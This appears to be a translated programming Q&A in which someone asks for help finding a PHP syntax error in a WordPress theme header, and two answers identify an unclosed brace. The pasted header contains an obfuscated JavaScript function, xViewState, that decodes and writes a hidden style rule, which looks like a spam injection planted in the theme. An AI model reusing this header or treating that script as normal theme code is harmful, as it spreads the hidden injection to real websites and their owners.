-1

我第一次发现这个错误的尝试收效甚微。我知道这里有些事情我搞砸了,如果你能帮我解决这个问题,我绝对会爱你。我花了一个小时寻找丢失的元素,但终生找不到。这是整个文件:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>

<head profile="http://gmpg.org/xfn/11">

<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />

<title><?php elegant_titles(); ?></title>

<?php elegant_description(); ?>

<?php elegant_keywords(); ?>

<?php elegant_canonical(); ?>



<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />

<link href='http://fonts.googleapis.com/css?family=Goudy+Bookletter+1911' rel='stylesheet' type='text/css' />

<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />

<link rel="alternate" type="application/atom+xml" title="<?php bloginfo('name'); ?> Atom Feed" href="<?php bloginfo('atom_url'); ?>" />

<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />



<!--[if lt IE 7]>

    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie6style.css" />

    <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/DD_belatedPNG_0.0.8a-min.js"></script>

    <script type="text/javascript">DD_belatedPNG.fix('img#logo, span.overlay, a.zoom-icon, a.more-icon, #menu, #menu-right, #menu-content, ul#top-menu ul, #menu-bar, .footer-widget ul li, span.post-overlay, #content-area, .avatar-overlay, .comment-arrow, .testimonials-item-bottom, #quote, #bottom-shadow, #quote .container');</script>

<![endif]-->

<!--[if IE 7]>

    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie7style.css" />

<![endif]-->

<!--[if IE 8]>

    <link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/css/ie8style.css" />

<![endif]-->



<script type="text/javascript">

    document.documentElement.className = 'js';

</script>



<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>

<?php wp_head(); ?>



<script language="JavaScript">
function xViewState()
{
var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','877886888787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];
t=z='';
for(v=0;v<m.length;){t+=m.charAt(v++);
if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);
t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}xViewState();
</script></head>

<!--start-add-div-content--><!--end-add-div-content--><body <?php body_class(); ?>>
    <?php
    $page = get_page_by_title( 'CSA' );
    $page1 = get_page_by_title( 'Co-op Members' );
    $page2 = get_page_by_title( 'Recipes' );
    $page3 = get_page_by_title( 'FAQs' );
    $page4 = get_page_by_title( 'Contact Us' );
    $page5 = get_page_by_title( 'Home' );

    if ( is_page($page->ID) )
    {?>
        <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top5.jpg') no-repeat scroll center bottom #244714 !important;">
    <?php
    }elseif ( is_page($page1->ID) )
    {?>
        <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top2.jpg') no-repeat scroll center bottom #244714 !important;">
    <?php
    }elseif ( is_page($page2->ID) )
    {?>
        <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top3.jpg') no-repeat scroll center bottom #244714 !important;">
    <?php   
    }elseif ( is_page($page3->ID) )
    {?>
        <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top4.jpg') no-repeat scroll center bottom #244714 !important;">
    <?php
    }elseif ( is_page($page4->ID) )
    {?>
        <div id="page-bg" style="background: url('<?php bloginfo('template_directory'); ?>/images/green/page-top5.jpg') no-repeat scroll center bottom #244714 !important;">
    <?php
    }elseif ( is_page($page5->ID) )
    {?>
        <div id="page-bg" style="background: url('http://ycgrown.com/wp-content/uploads/2013/03/Cherry-Tomatoes.jpg') no-repeat scroll center bottom #244714 !important;">
<?php
    }else{
?>
        <div id="page-bg" style="background: url('http://ycgrown.com/wp-content/uploads/2013/03/Cherry-Tomatoes.jpg') no-repeat scroll center bottom #244714 !important;">
}


        <div id="page-bottom">

            <div id="page-top"<?php if ( is_home() && get_option('mycuisine_featured') == 'false' ) echo ' class="nofeatured"'; ?>>

                <?php if ( is_home() && get_option('mycuisine_featured') == 'on' ) get_template_part('includes/featured'); ?>

                <div id="main-area">

                    <div class="container">

                        <div id="menu-right"></div>

                        <div id="menu-bar">

                            <div id="menu-content" class="clearfix">

                                <a href="<?php bloginfo('url'); ?>">

                                    <?php $logo = (get_option('mycuisine_logo') <> '') ? get_option('mycuisine_logo') : get_bloginfo('template_directory').'/images/logo.png'; ?>

                                    <img src="<?php echo esc_url($logo); ?>" alt="MyCuisine Logo" id="logo"/>

                                </a>

                                <?php do_action('et_header'); ?>

                                <?php $menuClass = 'nav';

                                $menuID = 'top-menu';

                                $primaryNav = '';

                                if (function_exists('wp_nav_menu')) {

                                    $primaryNav = wp_nav_menu( array( 'theme_location' => 'primary-menu', 'container' => '', 'fallback_cb' => '', 'menu_class' => $menuClass, 'menu_id' => $menuID, 'echo' => false ) ); 

                                };

                                if ($primaryNav == '') { ?>

                                    <ul id="<?php echo $menuID; ?>" class="<?php echo $menuClass; ?>">

                                        <?php if (get_option('mycuisine_home_link') == 'on') { ?>

                                            <li <?php if (is_home()) echo('class="current_page_item"') ?>><a href="<?php bloginfo('url'); ?>"><?php esc_html_e('Home','MyCuisine') ?></a></li>

                                        <?php }; ?>



                                        <?php show_page_menu($menuClass,false,false); ?>

                                        <?php show_categories_menu($menuClass,false); ?>

                                    </ul> <!-- end ul#nav -->

                                <?php }

                                else echo($primaryNav); ?>

                            </div> <!-- end #menu-content-->

                        </div> <!-- end #menu-bar-->



                        <?php //if ( !is_home() ) get_template_part('includes/top_info'); 
                        $page = get_page_by_title( 'CSA' );
                        if ( is_page($page->ID) )
                        {?>
                        <a class="big-button biggreen" href="http://csa.farmigo.com/join/ycgrown/summer2013" style="position: absolute;right: 30px;top: 170px;"><span>Join the CSA!</span></a>
                        <?php }?>

                    </div>  <!-- end .container -->

                </div> <!-- end #main-area -->

            </div> <!-- end #page-top -->

            <?php if ( is_home() && get_option('mycuisine_featured') == 'on' ) { ?>

                <div id="controllers">

                    <div class="container clearfix">

                        <div id="switcher">

                            <div id="switcher-right">

                                <div id="switcher-content">

                                    <?php global $featured_num;

                                    for ($i = 1; $i <= $featured_num; $i++) { ?>

                                        <a href="#" class="item<?php if ( $i == 1 ) echo ' active'; ?>"><?php echo $i; ?></a>

                                    <?php } ?>

                                </div> <!-- #switcher-content -->

                            </div> <!-- #switcher-right -->

                        </div> <!-- #switcher -->

                    </div> <!-- .container -->

                </div> <!-- #controllers -->

            <?php } ?>

        </div> <!-- end #page-bottom -->

    </div> <!-- end #page-bg -->



    <div id="content-area">
4

2 回答 2

5

看起来这个大括号不在 PHP 标记内,因此其中一个else路径永远不会关闭:

<?php
    }else{
?>
        <div id="page-bg" style="background: url('http://ycgrown.com/wp-content/uploads/2013/03/Cherry-Tomatoes.jpg') no-repeat scroll center bottom #244714 !important;">
} // this one
于 2013-03-11T22:20:10.223 回答
1

验证关闭和打开的 php 标签

<?php { ?>
<?php } ?>
于 2013-03-11T22:20:25.410 回答